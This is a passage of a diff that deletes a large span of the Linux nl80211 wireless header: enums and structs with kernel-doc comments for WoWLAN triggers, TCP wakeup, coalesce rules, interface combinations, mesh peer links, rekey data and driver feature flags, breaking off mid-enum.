- * @NL80211_ATTR_CQM_MAX: highest key attribute
- */
-enum nl80211_attr_cqm {
-  __NL80211_ATTR_CQM_INVALID,
-  NL80211_ATTR_CQM_RSSI_THOLD,
-  NL80211_ATTR_CQM_RSSI_HYST,
-  NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT,
-  NL80211_ATTR_CQM_PKT_LOSS_EVENT,
-  NL80211_ATTR_CQM_TXE_RATE,
-  NL80211_ATTR_CQM_TXE_PKTS,
-  NL80211_ATTR_CQM_TXE_INTVL,
-
-  /* keep last */
-  __NL80211_ATTR_CQM_AFTER_LAST,
-  NL80211_ATTR_CQM_MAX = __NL80211_ATTR_CQM_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_cqm_rssi_threshold_event - RSSI threshold event
- * @NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW: The RSSI level is lower than the
- *      configured threshold
- * @NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH: The RSSI is higher than the
- *      configured threshold
- * @NL80211_CQM_RSSI_BEACON_LOSS_EVENT: The device experienced beacon loss.
- *	(Note that deauth/disassoc will still follow if the AP is not
- *	available. This event might get used as roaming event, etc.)
- */
-enum nl80211_cqm_rssi_threshold_event {
-  NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW,
-  NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH,
-  NL80211_CQM_RSSI_BEACON_LOSS_EVENT,
-};
-
-/**
- * enum nl80211_tx_power_setting - TX power adjustment
- * @NL80211_TX_POWER_AUTOMATIC: automatically determine transmit power
- * @NL80211_TX_POWER_LIMITED: limit TX power by the mBm parameter
- * @NL80211_TX_POWER_FIXED: fix TX power to the mBm parameter
- */
-enum nl80211_tx_power_setting {
-  NL80211_TX_POWER_AUTOMATIC,
-  NL80211_TX_POWER_LIMITED,
-  NL80211_TX_POWER_FIXED,
-};
-
-/**
- * enum nl80211_packet_pattern_attr - packet pattern attribute
- * @__NL80211_PKTPAT_INVALID: invalid number for nested attribute
- * @NL80211_PKTPAT_PATTERN: the pattern, values where the mask has
- *	a zero bit are ignored
- * @NL80211_PKTPAT_MASK: pattern mask, must be long enough to have
- *	a bit for each byte in the pattern. The lowest-order bit corresponds
- *	to the first byte of the pattern, but the bytes of the pattern are
- *	in a little-endian-like format, i.e. the 9th byte of the pattern
- *	corresponds to the lowest-order bit in the second byte of the mask.
- *	For example: The match 00:xx:00:00:xx:00:00:00:00:xx:xx:xx (where
- *	xx indicates "don't care") would be represented by a pattern of
- *	twelve zero bytes, and a mask of "0xed,0x01".
- *	Note that the pattern matching is done as though frames were not
- *	802.11 frames but 802.3 frames, i.e. the frame is fully unpacked
- *	first (including SNAP header unpacking) and then matched.
- * @NL80211_PKTPAT_OFFSET: packet offset, pattern is matched after
- *	these fixed number of bytes of received packet
- * @NUM_NL80211_PKTPAT: number of attributes
- * @MAX_NL80211_PKTPAT: max attribute number
- */
-enum nl80211_packet_pattern_attr {
-  __NL80211_PKTPAT_INVALID,
-  NL80211_PKTPAT_MASK,
-  NL80211_PKTPAT_PATTERN,
-  NL80211_PKTPAT_OFFSET,
-
-  NUM_NL80211_PKTPAT,
-  MAX_NL80211_PKTPAT = NUM_NL80211_PKTPAT - 1,
-};
-
-/**
- * struct nl80211_pattern_support - packet pattern support information
- * @max_patterns: maximum number of patterns supported
- * @min_pattern_len: minimum length of each pattern
- * @max_pattern_len: maximum length of each pattern
- * @max_pkt_offset: maximum Rx packet offset
- *
- * This struct is carried in %NL80211_WOWLAN_TRIG_PKT_PATTERN when
- * that is part of %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED or in
- * %NL80211_ATTR_COALESCE_RULE_PKT_PATTERN when that is part of
- * %NL80211_ATTR_COALESCE_RULE in the capability information given
- * by the kernel to userspace.
- */
-struct nl80211_pattern_support {
-  __u32 max_patterns;
-  __u32 min_pattern_len;
-  __u32 max_pattern_len;
-  __u32 max_pkt_offset;
-} __attribute__((packed));
-
-/* only for backward compatibility */
-#define __NL80211_WOWLAN_PKTPAT_INVALID __NL80211_PKTPAT_INVALID
-#define NL80211_WOWLAN_PKTPAT_MASK NL80211_PKTPAT_MASK
-#define NL80211_WOWLAN_PKTPAT_PATTERN NL80211_PKTPAT_PATTERN
-#define NL80211_WOWLAN_PKTPAT_OFFSET NL80211_PKTPAT_OFFSET
-#define NUM_NL80211_WOWLAN_PKTPAT NUM_NL80211_PKTPAT
-#define MAX_NL80211_WOWLAN_PKTPAT MAX_NL80211_PKTPAT
-#define nl80211_wowlan_pattern_support nl80211_pattern_support
-
-/**
- * enum nl80211_wowlan_triggers - WoWLAN trigger definitions
- * @__NL80211_WOWLAN_TRIG_INVALID: invalid number for nested attributes
- * @NL80211_WOWLAN_TRIG_ANY: wake up on any activity, do not really put
- *	the chip into a special state -- works best with chips that have
- *	support for low-power operation already (flag)
- * @NL80211_WOWLAN_TRIG_DISCONNECT: wake up on disconnect, the way disconnect
- *	is detected is implementation-specific (flag)
- * @NL80211_WOWLAN_TRIG_MAGIC_PKT: wake up on magic packet (6x 0xff, followed
- *	by 16 repetitions of MAC addr, anywhere in payload) (flag)
- * @NL80211_WOWLAN_TRIG_PKT_PATTERN: wake up on the specified packet patterns
- *	which are passed in an array of nested attributes, each nested attribute
- *	defining a with attributes from &struct nl80211_wowlan_trig_pkt_pattern.
- *	Each pattern defines a wakeup packet. Packet offset is associated with
- *	each pattern which is used while matching the pattern. The matching is
- *	done on the MSDU, i.e. as though the packet was an 802.3 packet, so the
- *	pattern matching is done after the packet is converted to the MSDU.
- *
- *	In %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED, it is a binary attribute
- *	carrying a &struct nl80211_pattern_support.
- *
- *	When reporting wakeup. it is a u32 attribute containing the 0-based
- *	index of the pattern that caused the wakeup, in the patterns passed
- *	to the kernel when configuring.
- * @NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED: Not a real trigger, and cannot be
- *	used when setting, used only to indicate that GTK rekeying is supported
- *	by the device (flag)
- * @NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE: wake up on GTK rekey failure (if
- *	done by the device) (flag)
- * @NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST: wake up on EAP Identity Request
- *	packet (flag)
- * @NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE: wake up on 4-way handshake (flag)
- * @NL80211_WOWLAN_TRIG_RFKILL_RELEASE: wake up when rfkill is released
- *	(on devices that have rfkill in the device) (flag)
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211: For wakeup reporting only, contains
- *	the 802.11 packet that caused the wakeup, e.g. a deauth frame. The frame
- *	may be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN
- *	attribute contains the original length.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN: Original length of the 802.11
- *	packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211
- *	attribute if the packet was truncated somewhere.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023: For wakeup reporting only, contains the
- *	802.11 packet that caused the wakeup, e.g. a magic packet. The frame may
- *	be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN attribute
- *	contains the original length.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN: Original length of the 802.3
- *	packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023
- *	attribute if the packet was truncated somewhere.
- * @NL80211_WOWLAN_TRIG_TCP_CONNECTION: TCP connection wake, see DOC section
- *	"TCP connection wakeup" for more details. This is a nested attribute
- *	containing the exact information for establishing and keeping alive
- *	the TCP connection.
- * @NL80211_WOWLAN_TRIG_TCP_WAKEUP_MATCH: For wakeup reporting only, the
- *	wakeup packet was received on the TCP connection
- * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST: For wakeup reporting only, the
- *	TCP connection was lost or failed to be established
- * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS: For wakeup reporting only,
- *	the TCP connection ran out of tokens to use for data to send to the
- *	service
- * @NUM_NL80211_WOWLAN_TRIG: number of wake on wireless triggers
- * @MAX_NL80211_WOWLAN_TRIG: highest wowlan trigger attribute number
- *
- * These nested attributes are used to configure the wakeup triggers and
- * to report the wakeup reason(s).
- */
-enum nl80211_wowlan_triggers {
-  __NL80211_WOWLAN_TRIG_INVALID,
-  NL80211_WOWLAN_TRIG_ANY,
-  NL80211_WOWLAN_TRIG_DISCONNECT,
-  NL80211_WOWLAN_TRIG_MAGIC_PKT,
-  NL80211_WOWLAN_TRIG_PKT_PATTERN,
-  NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED,
-  NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE,
-  NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST,
-  NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE,
-  NL80211_WOWLAN_TRIG_RFKILL_RELEASE,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN,
-  NL80211_WOWLAN_TRIG_TCP_CONNECTION,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_MATCH,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS,
-
-  /* keep last */
-  NUM_NL80211_WOWLAN_TRIG,
-  MAX_NL80211_WOWLAN_TRIG = NUM_NL80211_WOWLAN_TRIG - 1
-};
-
-/**
- * DOC: TCP connection wakeup
- *
- * Some devices can establish a TCP connection in order to be woken up by a
- * packet coming in from outside their network segment, or behind NAT. If
- * configured, the device will establish a TCP connection to the given
- * service, and periodically send data to that service. The first data
- * packet is usually transmitted after SYN/ACK, also ACKing the SYN/ACK.
- * The data packets can optionally include a (little endian) sequence
- * number (in the TCP payload!) that is generated by the device, and, also
- * optionally, a token from a list of tokens. This serves as a keep-alive
- * with the service, and for NATed connections, etc.
- *
- * During this keep-alive period, the server doesn't send any data to the
- * client. When receiving data, it is compared against the wakeup pattern
- * (and mask) and if it matches, the host is woken up. Similarly, if the
- * connection breaks or cannot be established to start with, the host is
- * also woken up.
- *
- * Developer's note: ARP offload is required for this, otherwise TCP
- * response packets might not go through correctly.
- */
-
-/**
- * struct nl80211_wowlan_tcp_data_seq - WoWLAN TCP data sequence
- * @start: starting value
- * @offset: offset of sequence number in packet
- * @len: length of the sequence value to write, 1 through 4
- *
- * Note: don't confuse with the TCP sequence number(s), this is for the
- * keepalive packet payload. The actual value is written into the packet
- * in little endian.
- */
-struct nl80211_wowlan_tcp_data_seq {
-  __u32 start, offset, len;
-};
-
-/**
- * struct nl80211_wowlan_tcp_data_token - WoWLAN TCP data token config
- * @offset: offset of token in packet
- * @len: length of each token
- * @token_stream: stream of data to be used for the tokens, the length must
- *	be a multiple of @len for this to make sense
- */
-struct nl80211_wowlan_tcp_data_token {
-  __u32 offset, len;
-  __u8 token_stream[];
-};
-
-/**
- * struct nl80211_wowlan_tcp_data_token_feature - data token features
- * @min_len: minimum token length
- * @max_len: maximum token length
- * @bufsize: total available token buffer size (max size of @token_stream)
- */
-struct nl80211_wowlan_tcp_data_token_feature {
-  __u32 min_len, max_len, bufsize;
-};
-
-/**
- * enum nl80211_wowlan_tcp_attrs - WoWLAN TCP connection parameters
- * @__NL80211_WOWLAN_TCP_INVALID: invalid number for nested attributes
- * @NL80211_WOWLAN_TCP_SRC_IPV4: source IPv4 address (in network byte order)
- * @NL80211_WOWLAN_TCP_DST_IPV4: destination IPv4 address
- *	(in network byte order)
- * @NL80211_WOWLAN_TCP_DST_MAC: destination MAC address, this is given because
- *	route lookup when configured might be invalid by the time we suspend,
- *	and doing a route lookup when suspending is no longer possible as it
- *	might require ARP querying.
- * @NL80211_WOWLAN_TCP_SRC_PORT: source port (u16); optional, if not given a
- *	socket and port will be allocated
- * @NL80211_WOWLAN_TCP_DST_PORT: destination port (u16)
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD: data packet payload, at least one byte.
- *	For feature advertising, a u32 attribute holding the maximum length
- *	of the data payload.
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ: data packet sequence configuration
- *	(if desired), a &struct nl80211_wowlan_tcp_data_seq. For feature
- *	advertising it is just a flag
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN: data packet token configuration,
- *	see &struct nl80211_wowlan_tcp_data_token and for advertising see
- *	&struct nl80211_wowlan_tcp_data_token_feature.
- * @NL80211_WOWLAN_TCP_DATA_INTERVAL: data interval in seconds, maximum
- *	interval in feature advertising (u32)
- * @NL80211_WOWLAN_TCP_WAKE_PAYLOAD: wake packet payload, for advertising a
- *	u32 attribute holding the maximum length
- * @NL80211_WOWLAN_TCP_WAKE_MASK: Wake packet payload mask, not used for
- *	feature advertising. The mask works like @NL80211_PKTPAT_MASK
- *	but on the TCP payload only.
- * @NUM_NL80211_WOWLAN_TCP: number of TCP attributes
- * @MAX_NL80211_WOWLAN_TCP: highest attribute number
- */
-enum nl80211_wowlan_tcp_attrs {
-  __NL80211_WOWLAN_TCP_INVALID,
-  NL80211_WOWLAN_TCP_SRC_IPV4,
-  NL80211_WOWLAN_TCP_DST_IPV4,
-  NL80211_WOWLAN_TCP_DST_MAC,
-  NL80211_WOWLAN_TCP_SRC_PORT,
-  NL80211_WOWLAN_TCP_DST_PORT,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN,
-  NL80211_WOWLAN_TCP_DATA_INTERVAL,
-  NL80211_WOWLAN_TCP_WAKE_PAYLOAD,
-  NL80211_WOWLAN_TCP_WAKE_MASK,
-
-  /* keep last */
-  NUM_NL80211_WOWLAN_TCP,
-  MAX_NL80211_WOWLAN_TCP = NUM_NL80211_WOWLAN_TCP - 1
-};
-
-/**
- * struct nl80211_coalesce_rule_support - coalesce rule support information
- * @max_rules: maximum number of rules supported
- * @pat: packet pattern support information
- * @max_delay: maximum supported coalescing delay in msecs
- *
- * This struct is carried in %NL80211_ATTR_COALESCE_RULE in the
- * capability information given by the kernel to userspace.
- */
-struct nl80211_coalesce_rule_support {
-  __u32 max_rules;
-  struct nl80211_pattern_support pat;
-  __u32 max_delay;
-} __attribute__((packed));
-
-/**
- * enum nl80211_attr_coalesce_rule - coalesce rule attribute
- * @__NL80211_COALESCE_RULE_INVALID: invalid number for nested attribute
- * @NL80211_ATTR_COALESCE_RULE_DELAY: delay in msecs used for packet coalescing
- * @NL80211_ATTR_COALESCE_RULE_CONDITION: condition for packet coalescence,
- *	see &enum nl80211_coalesce_condition.
- * @NL80211_ATTR_COALESCE_RULE_PKT_PATTERN: packet offset, pattern is matched
- *	after these fixed number of bytes of received packet
- * @NUM_NL80211_ATTR_COALESCE_RULE: number of attributes
- * @NL80211_ATTR_COALESCE_RULE_MAX: max attribute number
- */
-enum nl80211_attr_coalesce_rule {
-  __NL80211_COALESCE_RULE_INVALID,
-  NL80211_ATTR_COALESCE_RULE_DELAY,
-  NL80211_ATTR_COALESCE_RULE_CONDITION,
-  NL80211_ATTR_COALESCE_RULE_PKT_PATTERN,
-
-  /* keep last */
-  NUM_NL80211_ATTR_COALESCE_RULE,
-  NL80211_ATTR_COALESCE_RULE_MAX = NUM_NL80211_ATTR_COALESCE_RULE - 1
-};
-
-/**
- * enum nl80211_coalesce_condition - coalesce rule conditions
- * @NL80211_COALESCE_CONDITION_MATCH: coalaesce Rx packets when patterns
- *	in a rule are matched.
- * @NL80211_COALESCE_CONDITION_NO_MATCH: coalesce Rx packets when patterns
- *	in a rule are not matched.
- */
-enum nl80211_coalesce_condition {
-  NL80211_COALESCE_CONDITION_MATCH,
-  NL80211_COALESCE_CONDITION_NO_MATCH
-};
-
-/**
- * enum nl80211_iface_limit_attrs - limit attributes
- * @NL80211_IFACE_LIMIT_UNSPEC: (reserved)
- * @NL80211_IFACE_LIMIT_MAX: maximum number of interfaces that
- *	can be chosen from this set of interface types (u32)
- * @NL80211_IFACE_LIMIT_TYPES: nested attribute containing a
- *	flag attribute for each interface type in this set
- * @NUM_NL80211_IFACE_LIMIT: number of attributes
- * @MAX_NL80211_IFACE_LIMIT: highest attribute number
- */
-enum nl80211_iface_limit_attrs {
-  NL80211_IFACE_LIMIT_UNSPEC,
-  NL80211_IFACE_LIMIT_MAX,
-  NL80211_IFACE_LIMIT_TYPES,
-
-  /* keep last */
-  NUM_NL80211_IFACE_LIMIT,
-  MAX_NL80211_IFACE_LIMIT = NUM_NL80211_IFACE_LIMIT - 1
-};
-
-/**
- * enum nl80211_if_combination_attrs -- interface combination attributes
- *
- * @NL80211_IFACE_COMB_UNSPEC: (reserved)
- * @NL80211_IFACE_COMB_LIMITS: Nested attributes containing the limits
- *	for given interface types, see &enum nl80211_iface_limit_attrs.
- * @NL80211_IFACE_COMB_MAXNUM: u32 attribute giving the total number of
- *	interfaces that can be created in this group. This number doesn't
- *	apply to interfaces purely managed in software, which are listed
- *	in a separate attribute %NL80211_ATTR_INTERFACES_SOFTWARE.
- * @NL80211_IFACE_COMB_STA_AP_BI_MATCH: flag attribute specifying that
- *	beacon intervals within this group must be all the same even for
- *	infrastructure and AP/GO combinations, i.e. the GO(s) must adopt
- *	the infrastructure network's beacon interval.
- * @NL80211_IFACE_COMB_NUM_CHANNELS: u32 attribute specifying how many
- *	different channels may be used within this group.
- * @NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS: u32 attribute containing the bitmap
- *	of supported channel widths for radar detection.
- * @NL80211_IFACE_COMB_RADAR_DETECT_REGIONS: u32 attribute containing the bitmap
- *	of supported regulatory regions for radar detection.
- * @NUM_NL80211_IFACE_COMB: number of attributes
- * @MAX_NL80211_IFACE_COMB: highest attribute number
- *
- * Examples:
- *	limits = [ #{STA} <= 1, #{AP} <= 1 ], matching BI, channels = 1, max = 2
- *	=> allows an AP and a STA that must match BIs
- *
- *	numbers = [ #{AP, P2P-GO} <= 8 ], channels = 1, max = 8
- *	=> allows 8 of AP/GO
- *
- *	numbers = [ #{STA} <= 2 ], channels = 2, max = 2
- *	=> allows two STAs on different channels
- *
- *	numbers = [ #{STA} <= 1, #{P2P-client,P2P-GO} <= 3 ], max = 4
- *	=> allows a STA plus three P2P interfaces
- *
- * The list of these four possiblities could completely be contained
- * within the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute to indicate
- * that any of these groups must match.
- *
- * "Combinations" of just a single interface will not be listed here,
- * a single interface of any valid interface type is assumed to always
- * be possible by itself. This means that implicitly, for each valid
- * interface type, the following group always exists:
- *	numbers = [ #{<type>} <= 1 ], channels = 1, max = 1
- */
-enum nl80211_if_combination_attrs {
-  NL80211_IFACE_COMB_UNSPEC,
-  NL80211_IFACE_COMB_LIMITS,
-  NL80211_IFACE_COMB_MAXNUM,
-  NL80211_IFACE_COMB_STA_AP_BI_MATCH,
-  NL80211_IFACE_COMB_NUM_CHANNELS,
-  NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS,
-  NL80211_IFACE_COMB_RADAR_DETECT_REGIONS,
-
-  /* keep last */
-  NUM_NL80211_IFACE_COMB,
-  MAX_NL80211_IFACE_COMB = NUM_NL80211_IFACE_COMB - 1
-};
-
-/**
- * enum nl80211_plink_state - state of a mesh peer link finite state machine
- *
- * @NL80211_PLINK_LISTEN: initial state, considered the implicit
- *	state of non existant mesh peer links
- * @NL80211_PLINK_OPN_SNT: mesh plink open frame has been sent to
- *	this mesh peer
- * @NL80211_PLINK_OPN_RCVD: mesh plink open frame has been received
- *	from this mesh peer
- * @NL80211_PLINK_CNF_RCVD: mesh plink confirm frame has been
- *	received from this mesh peer
- * @NL80211_PLINK_ESTAB: mesh peer link is established
- * @NL80211_PLINK_HOLDING: mesh peer link is being closed or cancelled
- * @NL80211_PLINK_BLOCKED: all frames transmitted from this mesh
- *	plink are discarded
- * @NUM_NL80211_PLINK_STATES: number of peer link states
- * @MAX_NL80211_PLINK_STATES: highest numerical value of plink states
- */
-enum nl80211_plink_state {
-  NL80211_PLINK_LISTEN,
-  NL80211_PLINK_OPN_SNT,
-  NL80211_PLINK_OPN_RCVD,
-  NL80211_PLINK_CNF_RCVD,
-  NL80211_PLINK_ESTAB,
-  NL80211_PLINK_HOLDING,
-  NL80211_PLINK_BLOCKED,
-
-  /* keep last */
-  NUM_NL80211_PLINK_STATES,
-  MAX_NL80211_PLINK_STATES = NUM_NL80211_PLINK_STATES - 1
-};
-
-/**
- * enum nl80211_plink_action - actions to perform in mesh peers
- *
- * @NL80211_PLINK_ACTION_NO_ACTION: perform no action
- * @NL80211_PLINK_ACTION_OPEN: start mesh peer link establishment
- * @NL80211_PLINK_ACTION_BLOCK: block traffic from this mesh peer
- * @NUM_NL80211_PLINK_ACTIONS: number of possible actions
- */
-enum plink_actions {
-  NL80211_PLINK_ACTION_NO_ACTION,
-  NL80211_PLINK_ACTION_OPEN,
-  NL80211_PLINK_ACTION_BLOCK,
-
-  NUM_NL80211_PLINK_ACTIONS,
-};
-
-#define NL80211_KCK_LEN 16
-#define NL80211_KEK_LEN 16
-#define NL80211_REPLAY_CTR_LEN 8
-
-/**
- * enum nl80211_rekey_data - attributes for GTK rekey offload
- * @__NL80211_REKEY_DATA_INVALID: invalid number for nested attributes
- * @NL80211_REKEY_DATA_KEK: key encryption key (binary)
- * @NL80211_REKEY_DATA_KCK: key confirmation key (binary)
- * @NL80211_REKEY_DATA_REPLAY_CTR: replay counter (binary)
- * @NUM_NL80211_REKEY_DATA: number of rekey attributes (internal)
- * @MAX_NL80211_REKEY_DATA: highest rekey attribute (internal)
- */
-enum nl80211_rekey_data {
-  __NL80211_REKEY_DATA_INVALID,
-  NL80211_REKEY_DATA_KEK,
-  NL80211_REKEY_DATA_KCK,
-  NL80211_REKEY_DATA_REPLAY_CTR,
-
-  /* keep last */
-  NUM_NL80211_REKEY_DATA,
-  MAX_NL80211_REKEY_DATA = NUM_NL80211_REKEY_DATA - 1
-};
-
-/**
- * enum nl80211_hidden_ssid - values for %NL80211_ATTR_HIDDEN_SSID
- * @NL80211_HIDDEN_SSID_NOT_IN_USE: do not hide SSID (i.e., broadcast it in
- *	Beacon frames)
- * @NL80211_HIDDEN_SSID_ZERO_LEN: hide SSID by using zero-length SSID element
- *	in Beacon frames
- * @NL80211_HIDDEN_SSID_ZERO_CONTENTS: hide SSID by using correct length of SSID
- *	element in Beacon frames but zero out each byte in the SSID
- */
-enum nl80211_hidden_ssid {
-  NL80211_HIDDEN_SSID_NOT_IN_USE,
-  NL80211_HIDDEN_SSID_ZERO_LEN,
-  NL80211_HIDDEN_SSID_ZERO_CONTENTS
-};
-
-/**
- * enum nl80211_sta_wme_attr - station WME attributes
- * @__NL80211_STA_WME_INVALID: invalid number for nested attribute
- * @NL80211_STA_WME_UAPSD_QUEUES: bitmap of uapsd queues. the format
- *	is the same as the AC bitmap in the QoS info field.
- * @NL80211_STA_WME_MAX_SP: max service period. the format is the same
- *	as the MAX_SP field in the QoS info field (but already shifted down).
- * @__NL80211_STA_WME_AFTER_LAST: internal
- * @NL80211_STA_WME_MAX: highest station WME attribute
- */
-enum nl80211_sta_wme_attr {
-  __NL80211_STA_WME_INVALID,
-  NL80211_STA_WME_UAPSD_QUEUES,
-  NL80211_STA_WME_MAX_SP,
-
-  /* keep last */
-  __NL80211_STA_WME_AFTER_LAST,
-  NL80211_STA_WME_MAX = __NL80211_STA_WME_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_pmksa_candidate_attr - attributes for PMKSA caching candidates
- * @__NL80211_PMKSA_CANDIDATE_INVALID: invalid number for nested attributes
- * @NL80211_PMKSA_CANDIDATE_INDEX: candidate index (u32; the smaller, the higher
- *	priority)
- * @NL80211_PMKSA_CANDIDATE_BSSID: candidate BSSID (6 octets)
- * @NL80211_PMKSA_CANDIDATE_PREAUTH: RSN pre-authentication supported (flag)
- * @NUM_NL80211_PMKSA_CANDIDATE: number of PMKSA caching candidate attributes
- *	(internal)
- * @MAX_NL80211_PMKSA_CANDIDATE: highest PMKSA caching candidate attribute
- *	(internal)
- */
-enum nl80211_pmksa_candidate_attr {
-  __NL80211_PMKSA_CANDIDATE_INVALID,
-  NL80211_PMKSA_CANDIDATE_INDEX,
-  NL80211_PMKSA_CANDIDATE_BSSID,
-  NL80211_PMKSA_CANDIDATE_PREAUTH,
-
-  /* keep last */
-  NUM_NL80211_PMKSA_CANDIDATE,
-  MAX_NL80211_PMKSA_CANDIDATE = NUM_NL80211_PMKSA_CANDIDATE - 1
-};
-
-/**
- * enum nl80211_tdls_operation - values for %NL80211_ATTR_TDLS_OPERATION
- * @NL80211_TDLS_DISCOVERY_REQ: Send a TDLS discovery request
- * @NL80211_TDLS_SETUP: Setup TDLS link
- * @NL80211_TDLS_TEARDOWN: Teardown a TDLS link which is already established
- * @NL80211_TDLS_ENABLE_LINK: Enable TDLS link
- * @NL80211_TDLS_DISABLE_LINK: Disable TDLS link
- */
-enum nl80211_tdls_operation {
-  NL80211_TDLS_DISCOVERY_REQ,
-  NL80211_TDLS_SETUP,
-  NL80211_TDLS_TEARDOWN,
-  NL80211_TDLS_ENABLE_LINK,
-  NL80211_TDLS_DISABLE_LINK,
-};
-
-/*
- * enum nl80211_ap_sme_features - device-integrated AP features
- * Reserved for future use, no bits are defined in
- * NL80211_ATTR_DEVICE_AP_SME yet.
-enum nl80211_ap_sme_features {
-};
- */
-
-/**
- * enum nl80211_feature_flags - device/driver features
- * @NL80211_FEATURE_SK_TX_STATUS: This driver supports reflecting back
- *	TX status to the socket error queue when requested with the
- *	socket option.
- * @NL80211_FEATURE_HT_IBSS: This driver supports IBSS with HT datarates.
- * @NL80211_FEATURE_INACTIVITY_TIMER: This driver takes care of freeing up
- *	the connected inactive stations in AP mode.
- * @NL80211_FEATURE_CELL_BASE_REG_HINTS: This driver has been tested
- *	to work properly to suppport receiving regulatory hints from
- *	cellular base stations.
- * @NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL: (no longer available, only
- *	here to reserve the value for API/ABI compatibility)
- * @NL80211_FEATURE_SAE: This driver supports simultaneous authentication of
- *	equals (SAE) with user space SME (NL80211_CMD_AUTHENTICATE) in station
- *	mode
- * @NL80211_FEATURE_LOW_PRIORITY_SCAN: This driver supports low priority scan
- * @NL80211_FEATURE_SCAN_FLUSH: Scan flush is supported
- * @NL80211_FEATURE_AP_SCAN: Support scanning using an AP vif
- * @NL80211_FEATURE_VIF_TXPOWER: The driver supports per-vif TX power setting
- * @NL80211_FEATURE_NEED_OBSS_SCAN: The driver expects userspace to perform
- *	OBSS scans and generate 20/40 BSS coex reports. This flag is used only
- *	for drivers implementing the CONNECT API, for AUTH/ASSOC it is implied.
- * @NL80211_FEATURE_P2P_GO_CTWIN: P2P GO implementation supports CT Window
- *	setting
- * @NL80211_FEATURE_P2P_GO_OPPPS: P2P GO implementation supports opportunistic
- *	powersave
- * @NL80211_FEATURE_FULL_AP_CLIENT_STATE: The driver supports full state
- *	transitions for AP clients. Without this flag (and if the driver
- *	doesn't have the AP SME in the device) the driver supports adding
- *	stations only when they're associated and adds them in associated
- *	state (to later be transitioned into authorized), with this flag
- *	they should be added before even sending the authentication reply
- *	and then transitioned into authenticated, associated and authorized
- *	states using station flags.
- *	Note that even for drivers that support this, the default is to add
- *	stations in authenticated/associated state, so to add unauthenticated
- *	stations the authenticated/associated bits have to be set in the mask.
- * @NL80211_FEATURE_ADVERTISE_CHAN_LIMITS: cfg80211 advertises channel limits
- *	(HT40, VHT 80/160 MHz) if this flag is set
- * @NL80211_FEATURE_USERSPACE_MPM: This driver supports a userspace Mesh
- *	Peering Management entity which may be implemented by registering for
- *	beacons or NL80211_CMD_NEW_PEER_CANDIDATE events. The mesh beacon is
- *	still generated by the driver.
- * @NL80211_FEATURE_ACTIVE_MONITOR: This driver supports an active monitor
- *	interface. An active monitor interface behaves like a normal monitor
- *	interface, but gets added to the driver. It ensures that incoming
- *	unicast packets directed at the configured interface address get ACKed.
- * @NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE: This driver supports dynamic
- *	channel bandwidth change (e.g., HT 20 <-> 40 MHz channel) during the
- *	lifetime of a BSS.
- * @NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES: This device adds a DS Parameter
- *	Set IE to probe requests.
- * @NL80211_FEATURE_WFA_TPC_IE_IN_PROBES: This device adds a WFA TPC Report IE
- *	to probe requests.
- * @NL80211_FEATURE_QUIET: This device, in client mode, supports Quiet Period
- *	requests sent to it by an AP.
- * @NL80211_FEATURE_TX_POWER_INSERTION: This device is capable of inserting the
- *	current tx power value into the TPC Report IE in the spectrum
- *	management TPC Report action frame, and in the Radio Measurement Link
- *	Measurement Report action frame.
- * @NL80211_FEATURE_ACKTO_ESTIMATION: This driver supports dynamic ACK timeout
- *	estimation (dynack). %NL80211_ATTR_WIPHY_DYN_ACK flag attribute is used
- *	to enable dynack.
- * @NL80211_FEATURE_STATIC_SMPS: Device supports static spatial
- *	multiplexing powersave, ie. can turn off all but one chain
- *	even on HT connections that should be using more chains.
- * @NL80211_FEATURE_DYNAMIC_SMPS: Device supports dynamic spatial
- *	multiplexing powersave, ie. can turn off all but one chain
- *	and then wake the rest up as required after, for example,
- *	rts/cts handshake.
- */
-enum nl80211_feature_flags {
-  NL80211_FEATURE_SK_TX_STATUS = 1 << 0,
